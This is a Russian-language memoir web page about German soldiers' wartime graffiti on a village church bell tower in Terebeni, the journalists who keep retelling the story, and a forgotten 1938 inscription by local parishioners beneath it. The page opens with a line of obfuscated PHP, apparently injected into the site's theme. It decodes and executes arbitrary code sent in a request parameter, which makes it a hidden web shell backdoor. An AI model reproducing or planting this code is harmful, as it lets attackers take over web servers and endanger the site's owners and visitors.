nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

ЧТО МОЖНО УЗРЕТЬ СКВОЗЬ ДЫРКУ В КОРЫТЕ ?


   эпиграф

ДУРАЧИНА   ТЫ,  ПРОСТОФИЛЯ !
                Пушкин,   дурацкая   " Сказка  о  золотой  рыбке "

         Этот   эпиграф   я,  невольный   и н и ц и а т о р    темы    немецких  ( ф а ш и с т с к и х   )   а д р е с о в,  нацарапанных    на   стенке   нашей   деревенской  церкви,  посвящаю  по  крайней  мере  десятку  журналистов,  которые  за  четверть  века  эту  тему   всё  мусолят   и   мусолят.  Ведь  только   к   нынешнему,  юбилейному,  празднику  9-ого   мая   самый  рьяный   из  них,  московский   журналист-международник ,  " моё "   интервью, которое  он  записал   аж   в   середине   девяностых ,  он   месяц  назад  растиражировал  ( этот  " сказ " )  прямо  " от   Москвы   до  самых  до  окраин ". Например, кроме  других  известий  об  этом,  нашей  деревенской  соседке  позвонила  родственница  из  Хакасии ( ! )  с   той   радостью ,  что  в   их  местной   газете   была   статья   про  её  родные  Теребени,  про  надписи  на  колокольне  и   с  помещёнными  в   той   газете  фотографиями  нашей  церкви,   злополучных   немецких  граффити, а  также   меня   с   моим  мужем,  о.Георгием. ( эту  статью  Ю.Лепского  можно  увидеть  на  сайте,  посвящённым  о.Георгию,  www.mitsov.ru )
         После  недавнего,  на  позапрошлой  неделе,  посещения   меня  очередной   журналисткой  и   фоторепортёром   из  " Комсомольской  правды "  я  подобрала  наконец   п р а в и л ь н о е    название  для   этой  немецкой  надписи  –  именно   ЗЛОПОЛУЧНАЯ !   Два  десятилетия   я   раздражённее  и   раздражённее   вопрошала   интересующихся   этой  темой   журналистов:  д о к о л е    можно  " оцеживать "  этих  немецких  " комаров " ?  Я  ведь   делала   запрос  по  их  адресам   ещё   в   конце  восьмидесятых  годов   вовсе  не  для  угождения   этим   немцам  по   их   оставленной  просьбе   сообщить  после  войны,  хотя   в   этой  фразе  и  заключена  вся   проблематичность  их  выживания  при  любом  варианте   окончания   войны.
      А  дело  было  так.
      В   первый  год  нашего  пребывания  в  Теребенях   я  после  отпевания  очередного  покойника   забиралась  на  колокольню,  чтобы  звонить,  и ,  совершенно  безразлично  скользя   взглядом   по   чужеродной   мне  надписи, тупо  " бумкала "  в   колокол  в  момент  выноса  из   церкви  покойника.  Но  это  полное  безразличие  было  лишь   до  тех  пор,  пока  наш   друг (о  котором  я  написала  в  предыдущей  мемории  под  названием " Адам  в  открытом  космосе "  и  который  писал  богословские  диссертации  для  бурсаков )  не  оказался  именно    в     т о м    маленьком   немецком  городишке, в   его  богословском   заведении,  после  своих   мытарств   на  родине.  И   только   поэтому,  в   энный  раз  " бумкая "  в  колокол,  я   вдруг  зацепила  взглядом  частотное  у  нас  с  мужем  на  тот  момент  слово  " Мюнстер "  и   поняла,  что  эти   адреса  –  реальность !  Надо   было,  мне  казалось,  срочно  другу  передать  адрес  в  Мюнстере  –  пусть  сходит,  проверит,  может, какая  польза  будет  –  прежде  всего  другу,  а  потом  уж  родственникам  фашиста.
     Но  друг  всерьёз  не  воспринял  моего  указания  –  ему  бы,  только  что  приехавшему  на  учёбу,  вокруг  бы  себя  разобраться,  а  не  бродить  по  незнакомому  городу  с  матушкиными   интригами . . .
    Вот  я  –  "с  горя",  от  невостребованности  моей  идеи  и  написала  " на  деревню  дедушке"  по   изобретённому  мною  адресу: " Германия, Мюнстер (и второе  письмо: Гамбург), м а г и с т р а т у р а  ( ! )" И    случайно взятое  с  помойки одного  из  многочисленных   городов   Германии   под  названием  Мюнстер,  моё  письмо  опять  же   совершенно   случайно  попало  . . .   в  " Красный  Крест ". И  развитие  интриги  понеслось   в   пространстве  и   во   времени . . .
      Я  добросовестно  в  каждом  интервью  рассказывала  эту    с в о ю    л и ч н у ю   историю,  а  журналисты  каждый  раз  переиначивали  её.  Когда   же  изредка  мне  удавалось   после   опубликования   интервью   их   допросить:  да  почему  же   вы     в   написанном   перевернули   и   упростили  всё   до   схемы  " матушка   по   указанным  адресам  на  стенке  взяла   и   написала . . .  ну,  приехал   со   своей   женой  сын   одного  из   фашистов  (  блин,  ещё  и  фашистами  их   теперь  не   называй   и   даже   захватчиками ) . . .  ну,  пролил   слезу . . .  ну,  уехал  растроганный,  ну,  мир   во   всём   мире   и   в   людях   благоволение. . . "  –  то   после   очередного   моего    укора   журналисту:" ну  почему   всё  так   банально ? "  –   самый  крутой   из  этой  плеяды  писакомарак  ( тот же  Лепский )  менторски   мне  ответил: " Вы  не  понимаете  законов  жанра ! "
    Ой !  Ой ! Ой !
    Однако  ж   после  последнего  визита   журналистки  из  " К П "  – тут   уж   я  критично  должна  отнестись   и    к    с е б е    с а м о й.
    Вот   закон  жизни:  кто   как   обзывается  –   тот    т а к     и   называется,  то   есть  получилось:  дурачина, простофиля  – я !

                                                                                    З А К О Н    Ж А Н Р А  ?

        ХОРОШАЯ  МЫСЛЯ ПРИХОДИТ  ОПОСЛЯ !
        Вот  так  оно  случилось  и  тут.
        На  днях,  повторяю, здесь,  в  Теребенях,  была   очень   милая   журналисточка .  Всё  в  этом  посещении  не  выходило  за  привычные  рамки  привычных  интервью. И   вдруг  в  самом  конце  нашего  разговора  ей   вдруг    пришло  в  голову   задать  странный,  но  всё  классно  расставляющий   по  своим   местам,  вопрос: " А   вот   странно:  немецкая  надпись  сделана  словно  на  подкрашенном  фоне,  на  какой-то  то  ли  голубой,  то  ли  серой  краске  –  это  что  у  них, немцев,  было   т а к   специально   задумано ? Ой, а  не  могут  ли  строители,  сейчас  реставрирующие  храм,  случайно  эту  надпись  стереть?  Вот   будет  утрата ! "
           Я  повнимательнее  взглянула  на  указанный  серо-голубой  фон,  да   так  и  осела,  механически  произнося: " Да – а,  будет  у. . .тра. . .та . . .та. . .та. . ." . . .
      . . .Я,  заработавшая  кучу  бонусов  этой  надписью,  ибо  наш   старший  сын, деревенский  школьник,  перед  приездом  немцев  засел  и   самостоятельно   выучил  немецкий,  а  потом   поехал  к  ним   в   Германию,  где  получил  понятие  о  Европе  и  о  немецких  диалектах ! . .
    . . . Я,  ставшая  " звездой"  журналистских   перемусоливаний   этой  надписи ! . .
     . . .Я,  сопровождавшая   целые   экскурсии   к   этому   военному  " раритету  на  стене ",  сто  раз  тыкая  в  него  пальцем ! . .
    . . . И    я     н и      р а з у     не   задумалась,  что   голубовато-серый   подмалёвок   под   немецкой   надписью   –  это   всего  лишь   остаток   того  фона,  на  котором  чуть  повыше  были  написаны  пять    р у с с к и х    ФИО  –  фамилий,  имён,  отчеств   м е с т н ы х,  деревенских    жителей,  и  тоже  под  заголовком,  к а з а л о с ь    б ы   –   м и р н ы м :

                                  КРАСИЛИ   СИЮ   ЦЕРКОВЬ   В    ( ! )    1 9 3 8    ГОДУ  :

                      Королёва   . . . ,   Фролова   . . .   ,    Захаров   . . .  ,  Иванов  . . .  ,  Иванова  . . .  .

                Боже !  Ведь   красить   в  1938  году   Божий     х р а м    было  равносильно  добровольному   расстрельному   приговору !                Въехав  в  Теребени   в  1988 году,  мы  от   ещё  живых  на  тот  момент  старух  слышали  рассказы  о   беспримерном  подвиге  местных  жителей,  истреблённых  " под  корешок ",  которые  объединялись  в  очередную  церковную  десятку,  которая   даже  по  тому  советскому  закону  давала  условие  функционирования  церковных  служб.  Но   эти  " десятки " , быв  репрессированными,  снова   и   снова   пополнялись . А  когда  бесстрашно   верующие  люди   кончились   и  уже  больше  некому  было  записываться ( старушки  при  мне  спорили,  когда  закрыли  церковь:  за  два- три  месяца  или  за  полгода   до  войны )  –  вот    война   и   началась !
     Немцы  так   же  быстро  захватили   территорию,  как   и   наши   через  три  года   так  же  быстро  немцев  выбили, и   они  тоже  не  успели  уничтожить   церковь,  хотя   и подготовили  взрывчатку   с,  как  оказалось,   слишком   коротким   бикфордовым   шнуром . . .
      И  вот,  засев   на  колокольне,  откуда  всё  видно  на  десятки  километров,  немецкие  вояки  и  присоседились  к   чужому  подмалёвку  со  своим  качественным  "чернильным"  карандашом.  Так  и   стали   эти   автографы   взаимобезразличными, " из  разных   опер "   для   нынешнего   сознания . Острота  исторических   внешне-   и   внутриполитических   конфликтов  30х – 40х  годов   снивелировалась  естественной   человеческой   тупостью, корозией  человеческой  памяти: вот   безлико  и  объединились  на  одном  бревне  немецкая   надпись  случайно  заблудившихся  у  нас  туристов-иностранцев   и   –  "затея  сельской  простоты"  деревенских  самодеятельных  маляров.
    Посмотрите-ка,  удивительна  невольная   композиция   этого   двойного  граффити:  широкое  обтёсанное  бревно  колокольни  за прошедшие  столетия  дало  такую  глубокую  трещину  по  своей  середине,  что   оно  воспринимается   как   д в а    бревна. Но   две части   рассохшегося  дерева  зрительно  объединяет,  словно  "замковый"  камень,  словно  скрепяющая   печатка  –  " фотогеничный "  сучок.  Исторически   так   получилось,  что  верх  и   низ   бревна  стали   жить   своими    с а м о с т о я т е л ь н ы м и     жизнями:  нижняя   часть   как   бы  эффектная,  загадочная,  чуть  ли  не   героическая,   верхняя   же  часть  –   а   она   в   самом   полном  смысле   г е р о и ч е с к а я  !   –   как   бы   скучная,  обыденная,  не  достойная   внимания !

                                                           И Л И     Ж А Н Р    В     З А К О Н Е   ?
Хотя,  надо  сказать,  и  " немецкую  часть "  бревна,  мне  тоже  не  просто   было  разглядеть.  Почему  же   я   её  разглядела  – я   уже  сейчас  пояснила,  но  попробую  продолжить   доносить  информацию,  как  говорится  " из  первых   рук ",  сидя  ворчливой  старухой   при  этом   дырявом   корыте   истории.
  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  
 ( продолжение  следует  в  соседней  мемории  "З А К О Н   ЖАНРА   или   ЖАНР    В    З А К О Н Е "
08143_20120202_040223
ПОСМОТРИТЕ   НА   НИЖНЮЮ   ФОТОГРАФИЮ.  СЕЙЧАС   ВОКРУГ  ЦЕРКВИ   В С Ё    ЗАРОСЛО.  А   РАНЬШЕ   ЭТО  БЫЛИ  " КУЛЬТИВИРОВАННЫЕ "  ПРОСТОРЫ: СЕЛЬСКОХОЗЯЙСТВЕННЫЕ  ПОЛЯ,  ЛУГА  С  ВЫКОСАМИ  И  ОГОРОДАМИ,  ЗА  КОТОРЫЕ ДРУГ  С  ДРУГОМ  БОРОЛИСЬ,  ХОЛИЛИ  ИХ  И  ЛЕЛЕЯЛИ.  А  СЕЙЧАС  НЕ  ТОЛЬКО   ВЕРУЮЩИХ,  А    П Р О С Т О   ЛЮДЕЙ   НЕ ОСТАЛОСЬ. "НЕКОМУ  БЕРЁЗУ  ЗАЛОМАТИ,  НЕКОМУ  КУДРЯВУ  ЗАЛОМАТИ. ЛЮЛИ-ЛЮИ  ЗАЛОМАТИ . . ."

DSCN6871_ (1)
DSCN6863_ (1)


Добавить комментарий